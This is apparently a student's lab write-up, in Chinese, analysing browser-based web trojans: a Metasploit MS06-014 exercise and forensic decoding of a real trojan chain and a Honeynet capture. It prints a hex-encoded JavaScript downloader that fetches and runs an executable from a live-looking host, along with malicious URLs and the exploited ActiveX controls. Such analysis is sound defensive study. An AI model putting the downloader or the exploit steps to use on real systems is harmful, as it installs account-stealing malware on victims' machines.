20199119 2019-2020-2 《网络攻防实践》第12周作业
WEB浏览器安全攻防
1.实践内容
1 WEB浏览器的技术发展与安全威胁
现代WEB浏览器的基本结构与机理
WEB浏览的安全问题与威胁
WEB浏览安全威胁位置
1.针对传输网络的网络协议安全威胁
2.针对WEB浏览端系统平台的安全威胁
3.针对WEB浏览器软件及插件程序的渗透攻击威胁
4.针对互联网用户的社会工程学威胁
WEB浏览端的渗透攻击威胁—网页木马
在浏览端执行的恶意网页脚本能够利用客户端软件安全漏洞来获取得到访问权的机会,在浏览端植入恶意程序或进行其他任意操作,从而发展出网页木马。
网页木马存在的技术基础—WEB浏览端安全漏洞
网页木马的本质核心是利用脚本语言实现对WEB浏览端软件安全漏洞的渗透攻击,从而向客户端主机中植入恶意程序。
网页木马利用的安全漏洞的特性:
1.攻击的安全漏洞的存在位置多样化,包括WEB浏览器自身、浏览器插件、关联某些WEB文件的应用程序
2.除微软操作系统平台软件本身的安全漏洞外,网页木马在不断发掘和利用其他流行应用软件中的安全漏洞
3.一些影响范围广的安全漏洞,会被网页木马持续利用,攻击长时间不进行系统升级与补丁更新,或安装老旧操作系统版本的互联网用户计算机。
网页木马的机理分析
- 网页木马的定义特性
网页木马是对WEB浏览端软件进行客户端渗透攻击的一类恶意移动代码,通常以网页脚本语言如JS、VBScirpt实现,或以Flash、PDF等恶意够早的WEB文件形式存在,通过利用WEB浏览端软件中存在的安全漏洞,获得客户端计算机的控制权限以植入恶意程序。
网页木马攻击网络的特性:
1.多样化的客户端渗透攻击位置和技术类型
2.分布式、复杂的微观链接结构
3.灵活多变的混淆与对抗分析能力
网页挂马机制
1.内嵌HTML标签
2.恶意Script脚本
3.内嵌对象链接
4.ARP 欺骗挂马
混淆机制
1.将代码重新排版,去除缩进、空行、换行、注释等,同时将网页木马中的变量名替换为一组合法的随机字符串,使其失去自我描述的能力,干扰阅读分析
2.通过大小写变换、十六进制编码、escape编码、unicode编码等方法对网页木马进行编码混淆
3.通过通用或定制的加密工具对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数,对密文解密,再使用document.write()或eval()进行动态输出或执行
4.利用字符串运算、数学运算或特殊函数可以混淆代码
5.修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件,将网页木马代码拆分至多个文件。
网页木马的检测与分析技术
- 基于特征码匹配的传统检测方法
- 基于统计与机器学习的静态分析方法
- 基于动态行为结果判定的检测分析方法
- 基于模拟浏览器环境的动态分析检测方法
- 网页木马检测分析技术综合对比
网页木马防范措施
提升操作系统与浏览端平台软件的安全性
- 采用操作系统本身提供的在线更新以及第三方软件所提供的常用应用软件更新机制,来确保所使用的计算机始终处于一种相对安全的状态
- 安装与实时更新一款优秀的反病毒软件
- 养成安全上网浏览的良好习惯
网络钓鱼
通过欺骗手段获取敏感个人信息如口令、信用卡详细信息等的攻击方式。
具体的欺骗技巧:
- 在指向假冒网站的链接中使用IP地址代替域名。
- 注册发音相近或形似的DNS域名,并在上面假设假冒网站,期望用户不会发现他们之间的差异。
- 在一个假冒钓鱼网站的电子邮件HTML内容中嵌入一些指向真实的目标网站链接,从而使得用户的网站浏览器大多数HTTP连接是指向真实的目标网站,而仅有少数的关键连接(如提交敏感信息的页面)指向假冒的网站。
- 对假冒网站的URL进行编码和混淆,很多用户不会注意到或者理解URL链接被做过什么处理,并会假设它是良性的。
- 企图攻击用户网页浏览器存在的漏洞,使之隐藏消息内容得实质。
- 将假冒的网站钓鱼配置成记录用户提交的所有数据并进行不可察觉的日志,然后将用户重定向到真实的网站。
- 架设一个假冒网站,作为目标机构真实网站的代理,并偷偷记录未使用SSL加密保护的口令信息,甚至为假冒域名注册一个有效的SSL证书从而对SSL加密保护的口令信息进行记录。
- 通过恶意代码在受害者计算机上安装一个恶意的浏览器助手工具,然后由其将受害者重定向到假冒的钓鱼网站。
- 使用恶意代码去修改受害者计算机上的用来维护DNS域名和IP地址映射的本地hosts文件。
钓鱼攻击防范
具体措施:
1.针对网络钓鱼
-
针对网络钓鱼过程中的电子邮件和即时通信信息欺诈,提高警惕;
-
利用浏览器软件、网络安全厂商软件所提供的反钓鱼网站功能特性;
-
在登录关键网站进行在线金融操作时,重视网站的真实性;
-
提升自我的抵抗社会工程学攻击的能力;
2.实践过程
使用攻击机和WINDOWS靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
使用MSF的MS06-014漏洞
靶机访问生成的恶意URL
会话建立,回车输入指令sessions -i 1,可以远程登录靶机
取证分析实践:剖析一个实际的网页木马攻击场景
问题:
1.试述你是如何一步步地从所给的网页中获取最后的真实代码的?
首先我们应该访问说明中给出的 start.html 文件,但考虑到这个文件中包new09.htm是恶意网站的入口,不直接在浏览器中打开它,而是下载下来。下载以后用记事本打开,搜索new09.htm,用freshow打不开这些网站,应该是网站已关闭,在new09.htm文件中用iframe引用了一个 http://aa.18dd.net/aa/kl.htm 文件,又用 javascript 引用了一个 http://js.users.51.la/1299644.js 文件。分别作MD5散列,下载后的两个文件如下
两个都打开看看,第一个显然不是想要的
打开第二个文件,出现代码,内容看起来虽然复杂,但通过倒数第三行发现是XXTEA+Base64的加密方法,第一个参数是decode,第二个参数显然就是解密密钥,用的简单的十六进制,转换之后发现密钥是“script”
访问http://cycy.sourceforge.net/xxtea/,在密钥栏输入“script”,文本框输入上述文件代码,解密后变为
看着就是一层十六进制加密,访问https://www.bejson.com/convert/ox2str/,解密之
代码看的触目惊心,处处是木马,通过几行代码利用了微软数据库访问对象、暴风影音、PPStream、百度搜霸的漏洞。在10年前比较流行,危害很大,现在这些软件差不多凉了。
ado.createobject("Adodb.Stream","")}
storm=new ActiveXObject("MPS.StormPlayer");}
varpps=newActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
obj=new ActiveXObject("BaiduBar.Tool");}
还有这几行代码引用了3个JS文件和一个压缩包,压缩包后边跟着bd.exe,可知压缩包里面是一个exe文件,将网址改为正常的格式,对js文件进行MD5散列处理
http:\/\/aa.18dd.net\/aa\/1.js
http:\/\/aa.18dd.net\/aa\/b.js
http:\/\/aa.18dd.net\/aa\/pps.js
http://down.18dd.net/bb/bd.cab", "bd.exe"
得到这4个文件
将这些JS文件下载下来,查看代码,先查看1.js,代码不能写全或者用图片,写全电脑杀毒软件会报病毒。杀毒软件报毒并且电脑炸了后我删了一部分...
\x76\x61\x72\x20\x75\x72\x6c\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x30\x31\x34\x2e\x65\x78\x65\x22\x3b\x74\x72\x79\x7b\x76\x61\x72\x20\x78\x6d\x6c\x3d\x61\x64\x6f\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e\x58\x4d\x4c\x48\x54\x54\x50\x22\x2c\x22\x22\x29\x3b\x78\x6d\x6c\x2e\x4f\x70\x65\x6e\x0d\x0a\x0d\x0a\x28\x22\x47\x45\x54\x22\x2c\x75\x72\x6c\x2c\x30\x29\x3b\x78\x6d\x6c\x2e\x53\x65\x6e\x64\x28\x29\x3b\x61\x73\x2e\x74\x79\x70\x22\x53\x68\x65\x6c\x6c\x2e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x22\x2c\x22\x22\x29\x3b\x73\x68\x65\x6c\x6c\x2e\x53\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65\x28\x22\x63\x6d\x64\x2e\x65\x78\x65\x22\x2c\x22\x2f\x63\x20\x22\x2b\x70\x61\x74\x68\x2c\x22\x22\x2c\x22\x6f\x70\x65\x6e\x22\x2c\x30\x29\x7d\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d
一个十六进制加密,继续解密,代码第一句是下载一个可执行文件,后面继续对ADOBE漏洞的利用
之后将b.js和pps.js都解密,b.js 初看头晕,猜测是加密方式
输入第一个代码eval(function(p,a,c,k,e,d)搜索解密方式,还真有对应eval编码加密解密的在线工具,解密之,shellcode已出,作用是个下载器
目的变为查找代码里有URL特征的字符串,URL不可缺少的是/
,对应ASCII是2F,于是就找2F,一共有6个,第3个和第四个2f,第5和第6个2f比较集中,
截取第3个2f到之后,将%u编码形式的%u删去,把4个代码两两一组反转位置,用十六进制转换,前面内容肯定有http,这时得到一个可执行文件
pps.js加上压缩包里的exe文件,共得到了4个exe文件,对MD5散列计算发现4个exe文件内容完全相同,于是选择一个exe文件分析。
使用W32Dasm静态反汇编工具打开pps.exe文件,使用串式参考,发现这个软件要下载0-19共20个木马。运行之后打开360发现出现的是盗号木马的病毒。
2.网页和JS代码中都使用了什么样的加密方法?你是如何解密的?
用了十六进制加密、XXTEA+Base64加密,八进制加密,在b.js文件中,使用了escape加密方法,通过网站在线加解密工具解密。
3.从解密后的结果来看,攻击者构造的网页木马利用了哪些安全漏洞?
利用到的应用程序漏洞Adodb.Stream
、MPS.StormPlayer
、POWERPLAYER.PowerPlayerCtrl.1
和BaiduBar.Tool
,分别对应利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞。
4.解密后发现了多少个可执行文件?这些可执行文件中有下载器吗?如果有,它们下载了哪些程序?这些程序又起什么作用?(举例分析)
解密后发现了4个可执行文件,对一个文件进行反汇编,发现有下载器,下载了20个木马。打开一个exe文件,通过杀毒软件的描述,是盗号木马,作用是为了盗取网游账号密码。
攻防对抗实践:WEB浏览器渗透攻击攻防对抗
攻击方构造WEB攻击代码,组装成URL,防守方对恶意URL提取、分析,恢复攻击代码。
继续利用MS06-014漏洞,使用Freshow获取攻击代码,有大量空格和空行,使用了rand_text_alpha
技巧,网上描述使用rand_text_alpha 是最基本的逃避技巧.但也是最没有效的。
毕竟只加了空行和空格,用一些技术或者就是笨方法一点点的删除都能还原出攻击代码。最初提取长这个样子
WORD替换后成为了这样
Typora放入完整代码就报毒,只好删除一些代码,删除代码也不行,改为图片得了..
(a,"ADODB.Stream")和第二实验应用的漏洞有点像,也是利用了微软数据库访问对象。
而利用clsid:D96C556-65A3-11D0-983A-00C04FC29E36这一句,是达到网马免杀的目的。
取证分析挑战实践:WEB浏览器遭遇攻击
回答问题:
1.列出在捕获文件中的应用层协议类型,你认为攻击是针对哪个或哪些协议的?
通过chaosreader分析和wireshark分析,似乎没有使用ICMP、BOOTS、NETBIOS或DNS协议进行攻击,攻击集中在HTTP协议上。
2.列出捕获文件中的IP地址、主机名和域名。从这些信息中你能猜出攻击场景的环境配置情况吗?
rapidshare.com.eyu32.ru域名,伪造了一个著名的品牌,可以被攻击者用来窃取用户的凭证。正在分配一个本地IP地址——192.168.56.50
sploitme.com.cn这个名字这里指的是恶意的。sploitme.com.cn不存在(没有dns条目/记录)。正在分配一个本地IP地址——192.168.56.52
shop.honeynet.sg看起来像一个购物网站的知名网站服务器,正在分配一个本地IP地址——192.168.56.51
尽管有不同的IP和MAC地址,工作组是相同的,4台机器必须相同,也就是克隆了4张网卡。那必须配置在VM中。
3.列出捕获文件中的所有网页页面,其中哪些页面包含了可疑的、可能是恶意的JS脚本代码?谁在连接这些页面?请描述恶意网页的攻击目的?
列出所有页面无法实现,代码也许过老
使用浏览器打开 session_0006.part_01.html ,外观就相似钓鱼网站。
打开session_0007.part_02.html,假的404,欺骗分析员
4.请给出攻击者执行攻击动作的概要描述。
受害者1(10.0.2.15)通过Firefox连接rapidshare.eyu32.ru/login.php(192.168.56.50)。
php包含来自sploitme.com.cn/?click=3feb5a6b2f(192.168.56.52),然后重定向到sploitme.com.cn/fg/show.php?s=3feb5a6b2f包含一些javascript
一个虚假的404错误无害的页面返回。
根据对这种情况的分析,url很可能已经被垃圾邮件攻击,以伪装凭证。与此同时,额外的javascript被用来重定向到恶意网站。
5.攻击者引入了哪些技巧给你的分析带来了困难,请提供在之前问题中识别的恶意JS脚本内容,并对它们进行解码或解密。
伪装成404
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<meta name="robots" content="noindex">
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /fg/show.php?s=3feb5a6b2f was not found on this server.</p>
<script language='JavaScript'>
[some script]
</script>
<noscript></noscript>
</body></html>
对JS脚本混淆
用gzip压缩,不会以明文显示,必须有额外的步骤。
6.攻击者的目标是哪个操作系统,哪些应用软件,哪些安全漏洞?如何阻止这些攻击?
攻击WINDOWS系统,IE浏览器相关漏洞
7.Shllcode执行了哪些动作?请列出Shellcode的MD5,并比较它们之间的差异?
Shellcode的执行过程:Shellcode获取系统临时文件路径,加载urlmon.dll,从URLhttp://sploitme.com.cn/fg/load.php?e=1检索可执行文件并执行。Shellcode之间的唯一区别是对load.php脚本的请求中的e变量,该变量指定发送恶意软件可执行文件。
shellcode.KQwUDT
shellcode.XFxxmV
shellcode.epJYL5
shellcode.xG9cLy
MD5 (shellcode.KQwUDT) = 1dacf1fbf175fe5361b8601e40deb7f0
MD5 (shellcode.XFxxmV) = 41d013ae668ceee5ee4402bcea7933ce
MD5 (shellcode.epJYL5) = 22bed6879e586f9858deb74f61b54de4
MD5 (shellcode.xG9cLy) = 9167201943cc4524d5fc59d57af6bca6
8.在攻击场景中有二进制可执行恶意代码参与吗?它们的目的是什么?
肯定有。攻击使客户端从恶意软件分发网络服务器下载可执行文件并在本地执行。恶意可执行软件这是load.php发送的Win32可执行文件,它通过Internet Explorer加载www.honeynet.org。
3.学习中遇到的问题及解决
问题:最大的问题就是不懂?
解决:照着指导书无脑做,第四个实验把英文翻译过来。
4.实践总结
第四个实验的chaosreader文件难受1天,以为在sourceforge下载的是最新版,之后才知道github上的才是最新版,整个实验跨度4天,每天做一点点...